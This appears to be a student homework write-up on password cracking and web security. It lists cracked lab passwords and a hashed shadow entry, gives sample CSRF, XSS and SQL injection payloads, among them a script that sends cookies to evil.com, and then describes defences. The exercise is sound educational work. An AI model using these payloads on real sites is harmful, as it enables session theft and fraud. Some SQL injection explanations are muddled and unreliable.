**Name:**

* **Khoa T. Nguyen**
* **Arjun Sethi**

**1) Buffer Overflow Vulnerability**

**2) Password Security**

a) The format is:

username:passwordHash:lastPasswordChange:userNumber:groupNumber:otherInformation:homeDirectory:shell

b)

crack01:bike:526:531::/home/crack01:/bin/bash

crack02:bloody:527:532::/home/crack02:/bin/bash

crack03:blue:528:533::/home/crack03:/bin/bash

crack04:bonjour:529:534::/home/crack04:/bin/bash

crack05:bread:530:535::/home/crack05:/bin/bash

crack06:bueno:531:536::/home/crack06:/bin/bash

crack07:cowboy:532:537::/home/crack07:/bin/bash

crack08:ddd:533:538::/home/crack08:/bin/bash

crack09:dejavu:534:539::/home/crack09:/bin/bash

crack10:dog:535:540::/home/crack10:/bin/bash

crack11:perro:536:541::/home/crack11:/bin/bash

crack12:fido:537:542::/home/crack12:/bin/bash

crack14:hello:539:544::/home/crack14:/bin/bash

crack15:into:540:545::/home/crack15:/bin/bash

crack16:japan:541:546::/home/crack16:/bin/bash

crack17:kaput:542:547::/home/crack17:/bin/bash

crack18:1337:543:548::/home/crack18:/bin/bash

crack19:linux:544:549::/home/crack19:/bin/bash

crack20:mind:545:550::/home/crack20:/bin/bash

crack21:money:546:551::/home/crack21:/bin/bash

crack22:more:547:552::/home/crack22:/bin/bash

crack23:abcdefgh:548:553::/home/crack23:/bin/bash

crack24:pass:549:554::/home/crack24:/bin/bash

crack25:really:550:555::/home/crack25:/bin/bash

crack26:smc:551:556::/home/crack26:/bin/bash

crack27:stir:552:557::/home/crack27:/bin/bash

crack28:tall:553:558::/home/crack28:/bin/bash

crack29:test:554:559::/home/crack29:/bin/bash

crack30:usa:555:560::/home/crack30:/bin/bash

c) There’s no username in this file.

Output:

?:soccer

?:joshua

?:wizard

d)

diana:$6$kTqQeMnV$DFFmJdHgPNtSQPHzO80RMVDQ0G3CDXdWlQSxF9JpsQWkNMwpmLJIFBpBkAhKOT2uwEZrAQRZ1kLa/rNL9xdaq.:18019:0:99999:7:::

e)

123456 (diana)

f) Setting an easy to guess password (all letters, all numbers) make it easy to brute force the hash. Adding symbols in random locations make it hard to crack by increasing the time exponentially. However, there are implementations of John the Ripper in GPU. This can significantly reduce the time.

**3) Web Security**

**a) Cross-site request forgery request (XSRF)**

This is an attack that forces the user to execute unwanted action on a site that the user is currently authenticated e.g. sending funds to someone else, emailing someone sensitive information, delete their own account. The difference is the attacker does not see the user’s information, but can force the user to perform the request. The server cannot know the request is fake because the user does it from their browser.

Using cookie, POST, or verifying same origin do not prevent this attack.

**Cross-site scripting (XSS)**

The attacker uses client side javascript to inject malicious code to the client in a <script></script> tag. This script is usually stored in a benign document such as text, forum comment, email messages. The browser will execute this script as a regular javascript. The script will manipulate the DOM, get cookie information or send sensitive information to another web address, or do something bad.

There are three main types: stored, reflection and DOM-based attack.

**SQL injection attack**

The attacker add some special characters such as semicolon “;” to terminate an SQL code and add his own SQL to do something else. Or the attacker add some conditions such as “AND 1 = 1” (blind SQL injection) which returns everything in the table or error message that contains useful information.

**b)Cross-site request forgery request (XSRF)**

The easiest method is tricking the user into executing malicious URL:

<img src=”<https://www.banksite.com/transferTo.php?acct=myAcct&amount>=”9999” alt=”Click on me!”>

**Cross-site scripting (XSS)**

In side a regular comment, <p> tag or an email message, the attacker write this:

<script>

window.location="http://evil.com/?cookie=" + document.cookie

</script>

Or to steal information for a social engineering attack:

<script>

var username = document.getElementById("username");

var email = document.getElementById("email");

var accountNumber = document.getElementById("accountNumber");

window.location=”<http://mysite.com/?username>=”+ username + “&email=” + email + “&accountNumber=” + accountNumber”

</script>

**SQL injection attack**

SELECT 1 from User where name=<username> AND password=<password>;

After injection of admin’;’

SELECT 1 from User where name=’admin’;’’ AND password=<password>;

For GET requests such as: <http://example.com/?name>=<username>&password=<password>

The attacker can change this to: <http://example.com/?name>=<username>&password=<password> AND 1=1

This results in

SELECT 1 from User where name=<username> AND password=<password> AND ‘1’=’1’;

The server might respond with an error page and reveal information.

**c)Cross-site request forgery request (XSRF)**

Add a hash to forms.

Add a nonce to URL and all forms.

Logging off websites after using.

Time out cookie and session so that users do not stay on the site when they visit another site.

**Cross-site scripting (XSS)**

Never send untrusted data to the browser, but this method is restrictive for a comment board.

Sanitize input, don’t take special characters such as “<”, “>” (unsophisticated user will not send a <script> in a message.)

Use HTML escaping for special characters in untrusted data “<”, “>”, escape javascript or HTML.

**SQL injection attack**

Use prepared statement. (in Java, C# and other languages) This prevents “AND ‘1’=’1’” attack.

Escaping all user input. This will escape the “;” character in the input, so the SQL code will break and does not execute.

Another solution is only return a response code to the client and keep the error message in the server. This prevents the blind attack.